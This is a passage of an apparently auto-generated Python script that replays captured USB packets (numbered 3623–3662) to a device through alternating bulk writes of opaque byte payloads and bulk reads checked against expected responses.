b\"\\x48\\xB5\\xA8\\xE0\\x15\\x7B\\xAA\\xDB\\x6A\\x0D\\xC5\\xB3\\x03\\xF4\\xDE\\x4A\"\n b\"\\x44\\xE2\\xF1\\xD1\\xC0\\xD5\\x93\\x9A\\x75\\xBC\\x8F\\x5D\\xF4\\xBB\\xFA\\x01\"\n b\"\\xB5\\xEE\\xE3\\x93\\x85\\x12\\x88\\x6C\\x9C\\xA7\\x6A\\xD8\\xCD\\xF4\\x3E\\xAA\"\n b\"\\x71\\x44\\x49\\x0D\\xC5\\x1B\\x4A\\x9F\\x0C\\xE4\\x8D\\x0C\")\n # Generated from packet 3623/3624\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3623/3624\")\n # Generated from packet 3625/3626\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x22\\x82\\x8C\\x88\\x94\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x83\\xC7\\xC9\\xE6\\x5E\\x0D\\xD6\"\n b\"\\x46\\x94\\x1F\\x02\\xEA\\x83\\xC3\\xEF\\x9F\\xC3\\x97\\xCA\\x65\\xD1\\xC6\\x55\"\n b\"\\x40\\xA5\\x77\\x3E\\xE4\\x2E\\xAE\\x60\\xC8\\x56\\x9B\\xD7\\x8B\\xEF\\x92\\x7F\"\n b\"\\xCF\\x03\\x74\\x87\\xA2\\x84\\xD5\\x12\\xB7\\x7D\\xEA\\xF3\\x6E\\x4D\\x1B\\x9D\"\n b\"\\xC0\\xCB\\x4C\\x68\\x94\\x70\\x44\\x8A\\xC3\\xEE\\xDD\\x45\\x7C\\x2F\\x34\\x57\"\n b\"\\xE8\\xA8\\x38\\x8B\\x20\\xFF\\x15\\xBD\\x1A\\x1C\\x92\\xEE\\x9C\\xC2\\x27\\xB6\"\n b\"\\x95\\x93\\x41\\xA0\\x8C\\xED\\xE6\\x29\\xAF\\x49\\x40\\x6B\\xF4\\x21\\x85\\x82\"\n b\"\\x3C\\x84\\xBF\\x5C\\xF6\\xDE\\x29\\x1B\\x1F\\xA2\\x58\\xED\\x21\\x6F\\x17\\x7C\"\n b\"\\x79\\xF3\\x04\\x0D\\xC1\\xDF\\x0E\\x34\\x16\\x98\\x7C\\x4C\\xEA\\x13\\x42\\x6D\"\n b\"\\x56\\xFD\\xC8\\xEF\\xA0\\x72\\xA1\\x5A\\x60\\x9C\\x8D\\x2B\\x2C\\x58\\x3E\\x33\"\n b\"\\x11\\x0C\\x2A\\xBB\\xB0\\xE6\\x59\\xEB\\x84\\xD7\\xF3\\x12\\xF7\\xF9\\x0E\\xEB\"\n b\"\\xDD\\xC3\\x19\\x64\\xE2\\xD3\\x56\\x93\\xCD\\xDC\\xEB\\x88\\x15\\x6A\\x38\\xE6\"\n b\"\\xEA\\x23\\x71\\x62\\xFD\\xAC\\x70\\x58\\xBA\\x0A\\x70\\xCE\\x67\\xF2\\x94\\x3A\"\n b\"\\x5A\\x2D\\x3E\\xFF\\x8E\\x24\\x86\\xE6\\xD3\\x7E\\x55\\x70\\x7C\\x3B\\xA8\\xCB\"\n b\"\\xAF\\x28\\x3F\\xDF\\x15\\x22\\x03\\x89\\x4B\\x9A\\x63\\xBC\\x68\\x03\\x29\\x7C\"\n b\"\\x86\\x99\\xAD\\xB0\\xEB\\x8C\\x3A\\x9C\\x1D\\xA4\\x13\\xB4\\xEF\\x87\\x3B\\x1E\"\n b\"\\x1E\\x72\\x61\\xB9\\xCD\\x60\\xA8\\xB7\\xC3\\x5C\\xA6\\xFD\")\n # Generated from packet 3627/3628\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3627/3628\")\n # Generated from packet 3629/3630\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x73\\x9E\\xB4\\x74\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8C\\xCA\\xE3\\xC2\\x61\\x68\\xC3\\x97\"\n b\"\\x44\\x92\\xD1\\xC6\\xDB\\xB7\\xA5\\x77\\xB0\\x13\\x2E\\xAE\\xEE\\x3F\\x56\\x9B\"\n b\"\\x59\\x7C\\xEF\\x92\\xF1\\x38\\x03\\x74\\x09\\x55\\x84\\xD5\\x9C\\x40\\x7D\\xEA\"\n b\"\\x7D\\x99\\x4D\\x1B\\x13\\x37\\xCB\\x4C\\xE6\\x63\\x70\\x44\\x04\\x34\\xEE\\xDD\"\n b\"\\xCB\\x8B\\x2F\\x34\\xD9\\x1F\\xA8\\x38\\x05\\xD7\\xFF\\x15\\x33\\xED\\x1C\\x92\"\n b\"\\x60\\x6B\\xC2\\x27\\x38\\x62\\x93\\x41\\x2E\\x7B\\xED\\xE6\\xA7\\x58\\x49\\x40\"\n b\"\\xE5\\x03\\x21\\x85\\x0C\\xCB\\x84\\xBF\\xD2\\x01\\xDE\\x29\\x95\\xE8\\xA2\\x58\"\n b\"\\x63\\xD6\\x6F\\x17\\xF2\\x8E\\xF3\\x04\\x83\\x36\\xDF\\x0E\\xBA\\xE1\\x98\\x7C\"\n b\"\\xC2\\x1D\\x13\\x42\\xE3\\xA1\\xFD\\xC8\\x61\\x57\\x72\\xA1\\xD4\\x97\\x9C\\x8D\"\n b\"\\xA5\\xDB\\x58\\x3E\\xBD\\xE6\\x0C\\x2A\\x35\\x47\\xE6\\x59\\x65\\x73\\xD7\\xF3\"\n b\"\\x9C\\x00\\xF9\\x0E\\x65\\x2A\\xC3\\x19\\xEA\\x15\\xD3\\x56\\x1D\\x3A\\xDC\\xEB\"\n b\"\\x06\\xE2\\x6A\\x38\\x68\\x1D\\x23\\x71\\xEC\\x0A\\xAC\\x70\\xD6\\x4D\\x0A\\x70\"\n b\"\\x40\\x90\\xF2\\x94\\xB4\\xAD\\x2D\\x3E\\x71\\x79\\x24\\x86\\x68\\x24\\x7E\\x55\"\n b\"\\xFE\\x8B\\x3B\\xA8\\x45\\x58\\x28\\x3F\\x51\\xE2\\x22\\x03\\x07\\xBC\\x9A\\x63\"\n b\"\\x32\\x9F\\x03\\x29\\xF2\\x71\\x99\\xAD\\x3E\\x1C\\x8C\\x3A\\x12\\xEA\\xA4\\x13\"\n b\"\\x3A\\x18\\x87\\x3B\\x90\\xE9\\x72\\x61\\x37\\x3A\\x60\\xA8\\x39\\x34\\x5C\\xA6\"\n b\"\\x73\\xC9\\xB7\\xA7\\x30\\xDE\\xAF\\x25\\x42\\x50\\x1E\\xA0\")\n # Generated from packet 3631/3632\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3631/3632\")\n # Generated from packet 3633/3634\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBE\\x23\\x90\\xA0\\x1D\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4F\\x58\\xCD\\xE2\\x84\\x21\\x82\\x28\"\n b\"\\xEC\\xEA\\xE5\\x04\\xD4\\xE9\\x0B\\xDE\\x2B\\xB6\\x62\\x9E\\x37\\xB6\\x30\\x8B\"\n b\"\\x59\\x69\\x8D\\x77\\xFF\\xD9\\x0E\\xD1\\xEA\\xD9\\xC2\\xE5\\x1D\\xD5\\x90\\x78\"\n b\"\\x26\\xBE\\x46\\x58\\x9E\\x1E\\x61\\x26\\xA5\\x4C\\x15\\xCE\\xBF\\x39\\x77\\x51\"\n b\"\\xB7\\xF0\\x49\\x5E\\x98\\xE0\\x69\\x56\\x72\\x3B\\xA3\\x82\\x56\\x70\\x7A\\x99\"\n b\"\\x97\\xA1\\xC8\\x74\\xFD\\x0B\\xD6\\xD4\\x37\\x19\\x02\\x78\\x20\\xC5\\xEF\\x0D\"\n b\"\\x60\\x91\\xCA\\xF7\\x72\\xC0\\x55\\xD2\\x06\\x71\\x3E\\x76\\x8D\\xA8\\x60\\x5A\"\n b\"\\xF5\\x9D\\xD7\\x19\\x4C\\x94\\x7F\\x5D\\xA0\\x72\\x87\\x30\\x27\\xD3\\x12\\x25\"\n b\"\\xDE\\xEC\\xF3\\xFC\\xEE\\x1D\\x9D\\x52\\x68\\x4A\\x68\\x06\\xD3\\x42\\x8A\\x51\"\n b\"\\x4D\\xDB\\x45\\xEE\\x8C\\x32\\x57\\x7A\\x0B\\x3E\\x8B\\xB2\\x5C\\x13\\xBD\\x88\"\n b\"\\xBF\\x94\\xEE\\x0E\\x61\\x21\\xB6\\x07\\x30\\x47\\xA0\\x1E\\x4E\\xE0\\x29\\x3D\"\n b\"\\xEA\\x46\\x6B\\x66\\x82\\x83\\x82\\xAE\\x27\\xB9\\x5C\\x64\\x7D\\x2F\\x1B\\x8D\"\n b\"\\x01\\x5E\\xED\\xB3\\xCC\\x11\\x7C\\xEB\\x50\\x02\\x0D\\x53\\x7C\\x08\\x34\\x84\"\n b\"\\x3B\\x7A\\x4C\\x78\\xB0\\x44\\x6D\\xC4\\x5E\\xCE\\xEF\\x32\\xD1\\xA7\\x5A\\xF2\"\n b\"\\x3F\\x8B\\x2B\\xBE\\xFB\\x38\\x33\\x83\\xAF\\x2C\\xBB\\x22\\x45\\x5F\\xEB\\x16\"\n b\"\\x74\\xF5\\x12\\x65\\x5A\\x08\\xEB\\x4F\\x60\\x1F\\x64\\x70\\x70\\x50\\x93\\x5F\"\n b\"\\x7F\\xED\\x88\\x87\\xC9\\x3E\\xE6\\x78\\x80\\x77\\x62\\x6F\")\n # Generated from packet 3635/3636\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3635/3636\")\n # Generated from packet 3637/3638\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x41\\x2E\\xC7\\x18\\x75\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBA\\xEC\\x29\\x5F\\x95\\xE4\\x69\\x56\"\n b\"\\x7F\\x3F\\xA3\\x82\\x5B\\x74\\x7A\\x99\\x9A\\xA5\\xC8\\x74\\xF0\\x0F\\xD6\\xD4\"\n b\"\\x3A\\x1D\\x02\\x78\\x2D\\xC1\\xEF\\x0D\\x6D\\x95\\xCA\\xF7\\x7F\\xC4\\x55\\xD2\"\n b\"\\x0B\\x75\\x3E\\x76\\x80\\xAC\\x60\\x5A\\xF8\\x99\\xD7\\x19\\x41\\x90\\x7F\\x5D\"\n b\"\\xAD\\x76\\x87\\x30\\x2A\\xD7\\x12\\x25\\xD3\\xE8\\xF3\\xFC\\xE3\\x19\\x9D\\x52\"\n b\"\\x65\\x4E\\x68\\x06\\xDE\\x46\\x8A\\x51\\x40\\xDF\\x45\\xEE\\x81\\x36\\x57\\x7A\"\n b\"\\x06\\x3A\\x8B\\xB2\\x51\\x17\\xBD\\x88\\xB2\\x90\\xEE\\x0E\\x6C\\x25\\xB6\\x07\"\n b\"\\x3D\\x43\\xA0\\x1E\\x43\\xE4\\x29\\x3D\\xE7\\x42\\x6B\\x66\\x8F\\x87\\x82\\xAE\"\n b\"\\x2A\\xBD\\x5C\\x64\\x70\\x2B\\x1B\\x8D\\x0C\\x5A\\xED\\xB3\\xC1\\x15\\x7C\\xEB\"\n b\"\\x5D\\x06\\x0D\\x53\\x71\\x0C\\x34\\x84\\x36\\x7E\\x4C\\x78\\xBD\\x40\\x6D\\xC4\"\n b\"\\x53\\xCA\\xEF\\x32\\xDC\\xA3\\x5A\\xF2\\x32\\x8F\\x2B\\xBE\\xF6\\x3C\\x33\\x83\"\n b\"\\xA2\\x28\\xBB\\x22\\x48\\x5B\\xEB\\x16\\x79\\xF1\\x12\\x65\\x57\\x0C\\xEB\\x4F\"\n b\"\\x6D\\x1B\\x64\\x70\\x7D\\x54\\x93\\x5F\\x72\\xE9\\x88\\x87\\xC4\\x3A\\xE6\\x78\"\n b\"\\x8D\\x73\\x62\\x6F\\x02\\x72\\x58\\x28\\xA4\\x72\\xCE\\xF5\\x5C\\x96\\x3A\\xC8\"\n b\"\\x83\\x3C\\xFF\\x1C\\x8A\\x84\\xE6\\x41\\xD0\\x57\\x70\\xEE\\x95\\xAA\\xCB\\x3D\"\n b\"\\x86\\x3D\\xDF\\x87\\x8C\\x01\\x89\\xD9\\x34\\x61\\xBC\\xFA\\xAD\\x2B\\x7C\\x14\"\n b\"\\x37\\xAF\\xB0\\x79\\x22\\x38\\x9C\\x8F\\x0A\\x11\\xB4\\x7D\")\n # Generated from packet 3639/3640\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3639/3640\")\n # Generated from packet 3641/3642\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8F\\x7E\\xC9\\x0C\\xE5\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\xB8\\x83\\x26\\x9B\\xAF\\x28\\x4F\"\n b\"\\x50\\xC8\\x04\\x77\\x53\\x26\\xDE\\x88\\x0C\\x4F\\x9E\\x94\\x0C\\x1D\\x8B\\xFA\"\n b\"\\xD3\\xA0\\x77\\x5C\\x63\\x23\\xD1\\x49\\x63\\xEF\\xE5\\xBE\\x6F\\xBD\\x78\\x85\"\n b\"\\x04\\x6B\\x58\\x3D\\xA4\\x4C\\x26\\x06\\xF6\\x38\\xCE\\x1C\\x83\\x5A\\x51\\x14\"\n b\"\\x4A\\x64\\x5E\\x3B\\x5A\\x44\\x56\\xD1\\x81\\x8E\\x82\\xF5\\xCA\\x57\\x99\\x34\"\n b\"\\x1B\\xE5\\x74\\x5E\\xB1\\xFB\\xD4\\x94\\xA3\\x2F\\x78\\x83\\x7F\\xC2\\x0D\\xC3\"\n b\"\\x2B\\xE7\\xF7\\xD1\\x7A\\x78\\xD2\\xA5\\xCB\\x13\\x76\\x2E\\x12\\x4D\\x5A\\x56\"\n b\"\\x27\\xFA\\x19\\xEF\\x2E\\x52\\x5D\\x03\\xC8\\xAA\\x30\\x84\\x69\\x3F\\x25\\x7D\"\n b\"\\x56\\xDE\\xFC\\x4D\\xA7\\xB0\\x52\\xCB\\xF0\\x45\\x06\\x70\\xF8\\xA7\\x51\\xEE\"\n b\"\\x61\\x68\\xEE\\x2F\\x88\\x7A\\x7A\\xA8\\x84\\xA6\\xB2\\xFF\\xA9\\x90\\x88\\x1C\"\n b\"\\x2E\\xC3\\x0E\\xC2\\x9B\\x9B\\x07\\x93\\xFD\\x8D\\x1E\\xED\\x5A\\x04\\x3D\\x49\"\n b\"\\xFC\\x46\\x66\\x21\\x39\\xAF\\xAE\\x84\\x03\\x71\\x64\\xDE\\x95\\x36\\x8D\\xA2\"\n b\"\\xE4\\xC0\\xB3\\x6F\\xAB\\x51\\xEB\\xF3\\xB8\\x20\\x53\\xDF\\xB2\\x19\\x84\\x98\"\n b\"\\xC0\\x61\\x78\\x13\\xFE\\x40\\xC4\\xFD\\x74\\xC2\\x32\\x72\\x1D\\x77\\xF2\\x9C\"\n b\"\\x31\\x06\\xBE\\x58\\x82\\x1E\\x83\\x0C\\x96\\x96\\x22\\xE6\\xE5\\xC6\\x16\\xD7\"\n b\"\\x4F\\x3F\\x65\\xF9\\xB2\\xC6\\x4F\\xC3\\xA5\\x49\\x70\\xD3\\xEA\\xBE\\x5F\\xDC\"\n b\"\\x57\\xA5\\x87\\x6A\\x84\\xCB\\x78\\x23\\xCD\\x4F\\x6F\\xAC\")\n # Generated from packet 3643/3644\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3643/3644\")\n # Generated from packet 3645/3646\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDD\\x8F\\xDB\\x30\\xDC\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\xEA\\xE7\\x15\\x2F\\xDF\\xF3\\x3B\"\n b\"\\xA7\\xC3\\x2A\\xFC\\xF6\\xE4\\x7D\\xB2\\x8B\\x56\\xFE\\xE2\\x77\\x02\\xAD\\xE3\"\n b\"\\xBC\\x8C\\x82\\x28\\xD4\\x47\\xE5\\x04\\xEC\\x44\\x0B\\xDE\\x13\\x1B\\x62\\x9E\"\n b\"\\x0F\\x1B\\x30\\x8B\\x61\\xC4\\x8D\\x77\\xC7\\x74\\x0E\\xD1\\xD2\\x74\\xC2\\xE5\"\n b\"\\x25\\x78\\x90\\x78\\x1E\\x13\\x46\\x58\\xA6\\xB3\\x61\\x26\\x9D\\xE1\\x15\\xCE\"\n b\"\\x87\\x94\\x77\\x51\\x8F\\x5D\\x49\\x5E\\xA0\\x4D\\x69\\x56\\x4A\\x96\\xA3\\x82\"\n b\"\\x6E\\xDD\\x7A\\x99\\xAF\\x0C\\xC8\\x74\\xC5\\xA6\\xD6\\xD4\\x0F\\xB4\\x02\\x78\"\n b\"\\x18\\x68\\xEF\\x0D\\x58\\x3C\\xCA\\xF7\\x4A\\x6D\\x55\\xD2\\x3E\\xDC\\x3E\\x76\"\n b\"\\xB5\\x05\\x60\\x5A\\xCD\\x30\\xD7\\x19\\x74\\x39\\x7F\\x5D\\x98\\xDF\\x87\\x30\"\n b\"\\x1F\\x7E\\x12\\x25\\xE6\\x41\\xF3\\xFC\\xD6\\xB0\\x9D\\x52\\x50\\xE7\\x68\\x06\"\n b\"\\xEB\\xEF\\x8A\\x51\\x75\\x76\\x45\\xEE\\xB4\\x9F\\x57\\x7A\\x33\\x93\\x8B\\xB2\"\n b\"\\x64\\xBE\\xBD\\x88\\x87\\x39\\xEE\\x0E\\x59\\x8C\\xB6\\x07\\x08\\xEA\\xA0\\x1E\"\n b\"\\x76\\x4D\\x29\\x3D\\xD2\\xEB\\x6B\\x66\\xBA\\x2E\\x82\\xAE\\x1F\\x14\\x5C\\x64\"\n b\"\\x45\\x82\\x1B\\x8D\\x39\\xF3\\xED\\xB3\\xF4\\xBC\\x7C\\xEB\\x68\\xAF\\x0D\\x53\"\n b\"\\x44\\xA5\\x34\\x84\\x03\\xD7\\x4C\\x78\\x88\\xE9\\x6D\\xC4\\x66\\x63\\xEF\\x32\"\n b\"\\xE9\\x0A\\x5A\\xF2\\x07\\x26\\x2B\\xBE\\xC3\\x95\\x33\\x83\\x97\\x81\\xBB\\x22\"\n b\"\\x7D\\xF2\\xEB\\x16\\x4C\\x58\\x12\\x65\\x62\\xA5\\xEB\\x4F\")\n # Generated from packet 3647/3648\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3647/3648\")\n # Generated from packet 3649/3650\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\xDF\\xD5\\x24\\x10\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\x41\\x31\\x15\\xF4\\x07\\x5E\\x3B\"\n b\"\\xE4\\x27\\x56\\xD1\\x3F\\xED\\x82\\xF5\\x74\\x34\\x99\\x34\\xA5\\x86\\x74\\x5E\"\n b\"\\x0F\\x98\\xD4\\x94\\x1D\\x4C\\x78\\x83\\xC1\\xA1\\x0D\\xC3\\x95\\x84\\xF7\\xD1\"\n b\"\\xC4\\x1B\\xD2\\xA5\\x75\\x70\\x76\\x2E\\xAC\\x2E\\x5A\\x56\\x99\\x99\\x19\\xEF\"\n b\"\\x90\\x31\\x5D\\x03\\x76\\xC9\\x30\\x84\\xD7\\x5C\\x25\\x7D\\xE8\\xBD\\xFC\\x4D\"\n b\"\\x19\\xD3\\x52\\xCB\\x4E\\x26\\x06\\x70\\x46\\xC4\\x51\\xEE\\xDF\\x0B\\xEE\\x2F\"\n b\"\\x36\\x19\\x7A\\xA8\\x3A\\xC5\\xB2\\xFF\\x17\\xF3\\x88\\x1C\\x90\\xA0\\x0E\\xC2\"\n b\"\\x25\\xF8\\x07\\x93\\x43\\xEE\\x1E\\xED\\xE4\\x67\\x3D\\x49\\x42\\x25\\x66\\x21\"\n b\"\\x87\\xCC\\xAE\\x84\\xBD\\x12\\x64\\xDE\\x2B\\x55\\x8D\\xA2\\x5A\\xA3\\xB3\\x6F\"\n b\"\\x15\\x32\\xEB\\xF3\\x06\\x43\\x53\\xDF\\x0C\\x7A\\x84\\x98\\x7E\\x02\\x78\\x13\"\n b\"\\x40\\x23\\xC4\\xFD\\xCA\\xA1\\x32\\x72\\xA3\\x14\\xF2\\x9C\\x8F\\x65\\xBE\\x58\"\n b\"\\x3C\\x7D\\x83\\x0C\\x28\\xF5\\x22\\xE6\\x5B\\xA5\\x16\\xD7\\xF1\\x5C\\x65\\xF9\"\n b\"\\x0C\\xA5\\x4F\\xC3\\x1B\\x2A\\x70\\xD3\\x54\\xDD\\x5F\\xDC\\xE9\\xC6\\x87\\x6A\"\n b\"\\x3A\\xA8\\x78\\x23\\x73\\x2C\\x6F\\xAC\\x72\\x16\\x28\\x0A\\x72\\x80\\xF5\\xF2\"\n b\"\\x96\\x74\\xC8\\x2D\\x3C\\xB1\\x1C\\x24\\x84\\xA8\\x41\\x7E\\x57\\x3E\\xEE\\x3B\"\n b\"\\xAA\\x85\\x3D\\x28\\x3D\\x91\\x87\\x22\\x01\\xC7\\xD9\\x9A\\x61\\xF2\\xFA\\x03\"\n b\"\\x2B\\x32\\x14\\x99\\xAF\\xFE\\x79\\x8C\\x38\\xD2\\x8F\\xA4\")\n # Generated from packet 3651/3652\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3651/3652\")\n # Generated from packet 3653/3654\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x79\\x6D\\xFE\\x48\\x58\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCD\\x87\\xB2\\xA4\\x7C\\x74\\x76\\x2E\"\n b\"\\xA5\\x2A\\x5A\\x56\\x90\\x9D\\x19\\xEF\\x99\\x35\\x5D\\x03\\x7F\\xCD\\x30\\x84\"\n b\"\\xDE\\x58\\x25\\x7D\\xE1\\xB9\\xFC\\x4D\\x10\\xD7\\x52\\xCB\\x47\\x22\\x06\\x70\"\n b\"\\x4F\\xC0\\x51\\xEE\\xD6\\x0F\\xEE\\x2F\\x3F\\x1D\\x7A\\xA8\\x33\\xC1\\xB2\\xFF\"\n b\"\\x1E\\xF7\\x88\\x1C\\x99\\xA4\\x0E\\xC2\\x2C\\xFC\\x07\\x93\\x4A\\xEA\\x1E\\xED\"\n b\"\\xED\\x63\\x3D\\x49\\x4B\\x21\\x66\\x21\\x8E\\xC8\\xAE\\x84\\xB4\\x16\\x64\\xDE\"\n b\"\\x22\\x51\\x8D\\xA2\\x53\\xA7\\xB3\\x6F\\x1C\\x36\\xEB\\xF3\\x0F\\x47\\x53\\xDF\"\n b\"\\x05\\x7E\\x84\\x98\\x77\\x06\\x78\\x13\\x49\\x27\\xC4\\xFD\\xC3\\xA5\\x32\\x72\"\n b\"\\xAA\\x10\\xF2\\x9C\\x86\\x61\\xBE\\x58\\x35\\x79\\x83\\x0C\\x21\\xF1\\x22\\xE6\"\n b\"\\x52\\xA1\\x16\\xD7\\xF8\\x58\\x65\\xF9\\x05\\xA1\\x4F\\xC3\\x12\\x2E\\x70\\xD3\"\n b\"\\x5D\\xD9\\x5F\\xDC\\xE0\\xC2\\x87\\x6A\\x33\\xAC\\x78\\x23\\x7A\\x28\\x6F\\xAC\"\n b\"\\x7B\\x12\\x28\\x0A\\x7B\\x84\\xF5\\xF2\\x9F\\x70\\xC8\\x2D\\x35\\xB5\\x1C\\x24\"\n b\"\\x8D\\xAC\\x41\\x7E\\x5E\\x3A\\xEE\\x3B\\xA3\\x81\\x3D\\x28\\x34\\x95\\x87\\x22\"\n b\"\\x08\\xC3\\xD9\\x9A\\x68\\xF6\\xFA\\x03\\x22\\x36\\x14\\x99\\xA6\\xFA\\x79\\x8C\"\n b\"\\x31\\xD6\\x8F\\xA4\\x18\\xFE\\x7D\\x87\\x30\\x54\\x8C\\x72\\x6A\\xF3\\x5F\\x60\"\n b\"\\xA3\\xFD\\x51\\x5C\\xAD\\xB7\\xAC\\xB7\\xAC\\xF4\\xBB\\xAF\\x2E\\x86\\x35\\x1E\"\n b\"\\xAB\\x2E\\xA8\\xBA\\x1C\\xE5\\xA3\\xB4\\x88\\xEB\\x09\\xE0\")\n # Generated from packet 3655/3656\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3655/3656\")\n # Generated from packet 3657/3658\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x3D\\xF0\\x5C\\x46\\x53\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\xDF\\xB6\\xD5\\x5C\\x75\\x02\\x78\"\n b\"\\x4B\\xA9\\xEF\\x0D\\x0B\\xFD\\xCA\\xF7\\x19\\xAC\\x55\\xD2\\x6D\\x1D\\x3E\\x76\"\n b\"\\xE6\\xC4\\x60\\x5A\\x9E\\xF1\\xD7\\x19\\x27\\xF8\\x7F\\x5D\\xCB\\x1E\\x87\\x30\"\n b\"\\x4C\\xBF\\x12\\x25\\xB5\\x80\\xF3\\xFC\\x85\\x71\\x9D\\x52\\x03\\x26\\x68\\x06\"\n b\"\\xB8\\x2E\\x8A\\x51\\x26\\xB7\\x45\\xEE\\xE7\\x5E\\x57\\x7A\\x60\\x52\\x8B\\xB2\"\n b\"\\x37\\x7F\\xBD\\x88\\xD4\\xF8\\xEE\\x0E\\x0A\\x4D\\xB6\\x07\\x5B\\x2B\\xA0\\x1E\"\n b\"\\x25\\x8C\\x29\\x3D\\x81\\x2A\\x6B\\x66\\xE9\\xEF\\x82\\xAE\\x4C\\xD5\\x5C\\x64\"\n b\"\\x16\\x43\\x1B\\x8D\\x6A\\x32\\xED\\xB3\\xA7\\x7D\\x7C\\xEB\\x3B\\x6E\\x0D\\x53\"\n b\"\\x17\\x64\\x34\\x84\\x50\\x16\\x4C\\x78\\xDB\\x28\\x6D\\xC4\\x35\\xA2\\xEF\\x32\"\n b\"\\xBA\\xCB\\x5A\\xF2\\x54\\xE7\\x2B\\xBE\\x90\\x54\\x33\\x83\\xC4\\x40\\xBB\\x22\"\n b\"\\x2E\\x33\\xEB\\x16\\x1F\\x99\\x12\\x65\\x31\\x64\\xEB\\x4F\\x0B\\x73\\x64\\x70\"\n b\"\\x1B\\x3C\\x93\\x5F\\x14\\x81\\x88\\x87\\xA2\\x52\\xE6\\x78\\xEB\\x1B\\x62\\x6F\"\n b\"\\x64\\x1A\\x58\\x28\\xC2\\x1A\\xCE\\xF5\\x3A\\xFE\\x3A\\xC8\\xE5\\x54\\xFF\\x1C\"\n b\"\\xEC\\xEC\\xE6\\x41\\xB6\\x3F\\x70\\xEE\\xF3\\xC2\\xCB\\x3D\\xE0\\x55\\xDF\\x87\"\n b\"\\xEA\\x69\\x89\\xD9\\x52\\x09\\xBC\\xFA\\xCB\\x43\\x7C\\x14\\x51\\xC7\\xB0\\x79\"\n b\"\\x44\\x50\\x9C\\x8F\\x6C\\x79\\xB4\\x7D\\x4F\\x51\\x1E\\x8C\\xBA\\x0B\\xB9\\x5F\"\n b\"\\xA8\\xC2\\xB7\\x51\\x94\\xCC\\xFD\\xAC\\x7F\\xCD\\xBE\\xBB\")\n # Generated from packet 3659/3660\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3659/3660\")\n # Generated from packet 3661/3662\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE5\\xCC\\xE2\\x60\\xDA\\x41\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\x73\\xEB\\xDE\\x20\\xD7\\xA9\\xDE\"\n b\"\\x66\\xC6\\x68\\x2D\\xDD\\xAF\\x39\\x75\\xA4\\xC6\\x85\\x4D\\x86\\xEF\\x56\\x19\"\n b\"\\xC3\\x4A\\x3E\\xAA\\xFE\\x17\\xFF\\x19\\xDC\\x3C\\xB4\\x74\\xA8\\x13\\x3C\\x68\"\n b\"\\x71\\xD4\\x6D\\x4F\\x26\\x9A\\x10\\xFD\\xA5\\xCA\\xEC\\xA9\\xF6\\xCB\\x27\\x27\"\n b\"\\xD9\\x00\\x4F\\xEC\\xBE\\x2C\\x77\\xEF\\x50\\xF6\\x88\\xB0\\x39\\xB6\\x94\\xB0\"\n b\"\\x6B\\xA3\\xFA\\x6F\\xD6\\x5F\\x5C\\xDF\\x55\\xF9\\x49\\xDF\\x99\\xCD\\xBE\\xD3\"\n b\"\\xCB\\x50\\x85\\xB8\\x1D\\x70\\x3D\\x18\\x3A\\x0E\\x06\\x4A\\x4E\\xE6\\x1C\\x3F\"\n 